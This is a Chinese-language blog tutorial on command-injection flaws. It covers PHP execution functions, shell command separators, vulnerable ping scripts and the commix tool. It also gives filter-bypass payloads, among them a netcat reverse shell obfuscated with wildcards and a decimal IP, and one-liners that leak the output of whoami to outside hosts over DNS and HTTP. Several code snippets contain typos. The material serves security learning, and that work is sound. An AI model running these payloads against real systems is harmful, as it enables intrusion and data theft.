命令执行漏洞

命令执行漏洞

应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而执行系统命令。属于高危漏洞,如果web使用的root权限,则攻击者可以执行任意命令。

1.用户的输入未作过滤
2.参数被拼接到系统命令中执行

PHP下的命令执行函数

含有一下函数的文件需要检查是否为webshell
1.system执行命令,并且显示输出

<?php system("whoami");?>

2.exec 执行代码,但是不显示输出; 可以加上echo显示输出

<?php exec('whoami');?>
<?php echo exec('whoamni']); ?>

3.shell_exec通过shell环境执行命令,并且将完整的输出以字符串形式返回,可以加上echo函数输出结果

<?php  shell_exec('whoami') ?>
<?php echo shell_exec('whoami'); ?>

4.passthru执行外部程序并且显示原始输出

<?php passthru('whoami'); ?>

5.popen打开进程文件指针

<?php popen("tuoch test.txt","r"); ?>
执行代码后,会在当前文件夹下创建test.txt的文件

6.proc_popen执行一个命令,并且打开用来输入输出的文件指针

<?php
$proc=proc_open("whoami",
	array(
		array("pipe","r"),
		array("pipe","w"),
		array("pipe","w")
	),
	$pipes);
print stream_get_contents($pipes[1]);
?>

输出root
7.反单引号(`),是PHP的执行运算符,PHP尝试将反单引号的内容作为shell命令执行并返回

<?php echo `whoami'`; ?>

windows下的命令执行漏洞

windows下的命令连接符& && | ||
1.&命令连接符

&前面的语句为假,则执行&后面的语句
&前面的语句为真,则&前后语句都执行

C:\Users\15063883837>test&whoami
'test' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
laptop-vetfvoc6\150

在这里插入图片描述

2.&&

&&前面语句为假,则直接报错,&&后的语句不执行
&&前面语句为真,则前后语句都执行

3.|

| 前语句为假,直接报错,后面语句不执行
| 前面语句为真,执行 | 后的语句

4.||

||前面的语句为假,执行||后面的语句
||前面语句为真,只执行||前面的语句

5.漏洞实例

后端代码:

<?php
$ip=$_GET['ip'];
system("ping".$ip);
?>

用户输入 127.0.0.1 | whoami

system(' ping 127.0.0.1 | whoami')

返回用户信息

Linux下的命令执行漏洞

Linux下的命令连接符 ; & && | ||
1.;
多个命令顺序执行

id;id

2.&
是命令在后台执行,可以同时执行多条命令;无论前面语句真假,后面语句均执行

在这里插入图片描述
3.&&
前面命令执行成功,则执行后面命令
在这里插入图片描述
4.|
将前面命令的输出作为后面命令的输入,前后都执行,但显示后面命令的执行结果
在这里插入图片描述
5.||
类似if-else,前面语句执行成功,则不执行后面语句;前面语句失败,则执行后面语句
在这里插入图片描述
6.漏洞示例

后端:

<?php
	$ip=$_GET['ip];
	system("ping -c 3 ".$ip);
?>
	

用户输入127.0.0.1;pwd
执行ping -c 3 127.0.0.1pwd

命令执行自动化工具

commix检测一个请求是否存在命令注入漏洞,支持导入bp的历史记录

项目地址:https://github.com/stasinopoulos/commix
kali 已经集成

简单使用

 commix -u http://xxx.xxx.xxx.xxx?ip=127.0.0.1
 返回shell

命令执行绕过

绕过空格过滤

1.${IFS}绕过
$IFS是shell的特殊环境变量,是Linux下的内部域分隔符。$IFS存储的值可以是空格,制表符,换行符,或者其他的自定义符号

<?php 
	$ip=$_GET['ip'];
	system("ping -c 3 ".$ip);
?>

输入

http://xxxxxxxx?ip=127.0.0.1;cat ${IFS} commandexec.php
返回commandexec.php的源码内容

在这里插入图片描述

2.$IFS$9绕过

在这里插入图片描述
3.制表符%09
%09是制表符的URL编码,可以用来代替空格,绕过空格过滤

http://xxxxxxxx?ip=127.0.0.1;cat %09 commandexec.php

4.{}绕过

http://xxxxxxxx?ip=127.0.0.1;{cat.commandexec.php}

在这里插入图片描述
5.<绕过

http://xxxxxxxx?ip=127.0.0.1;cat<commandexec.php

在这里插入图片描述

绕过关键字过滤
1.变量拼接
在这里插入图片描述
2.空变量绕过
在这里插入图片描述
3.系统变量绕过
在这里插入图片描述
4.\绕过
在这里插入图片描述
5.通配符绕过
Linux支持通配符匹配

*  代表0到多个字符
? 代表一个任意字符
[] []内为字符范围,代表该范围中任意一个子符

在这里插入图片描述
6.shell反弹绕过
再利用shell反弹进行攻击时,如果存在过滤,可以通过通配符来绕过
例如要执行一下命令

/bin/nc 192.168.91.135 8888 -e /bin/bash

首先将IP换为十进制

192*(256**3)+168*(256**2)+91*256+135*1=3232258951

然后用通配符替换关键字

/b??/?c 3232258951 8888 -e /???/b??h

将payload发送给靶机
客户机可以收到反弹shell
注意:
IP的十六进制为0xC085B87
payload也可以为/b??/?c 0xC085B87 8888 -e /???/b??h

7.Base64编码绕过

base64 -d   可以解码
?ip=xxxxxxxx; `echo "aWQ="|base64 -d`

在这里插入图片描述
8.expr awk绕过

expr awk 从其他文件中或取字符并进行命令构造
例如ctf-wiki文件的内容为www.ctf-wiki.com字符串

expr substr $(awk NR=1 ctf-wiki) 1 1 
可以得到第一个字符w

9.无回显的命令注入
如果存在命令注入,但是无回显,可以通过shell反弹的方式将shell反弹到VPS上,然后通过VPS执行命令。如果无法反弹shell,也可以通过DNS管道解析的方式获取命令的执行结果。


在Linux中,以下的命令可以获取用户名‘

curl `whoami`.test.ctfs.com
ping -c 1 `whoami`.test.ctfs-wiki.com

在这里插入图片描述

在Windows中,获取计算机名

 for /F %x in ('whoami') do start http://test.ctf-wiki.com/%x

获取用户名

 for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.test.ctfs-wiki.com

在网站上执行命令获取应户名

curl http://test.ctfs-wiki.com/?.`whoami`

常见的开源DNSLog平台

http://ceye.io/
https://github.com/BugScamnTeam/DNSLog
posted @ 2021-07-30 17:12  1ucifer  阅读(382)  评论(0编辑  收藏  举报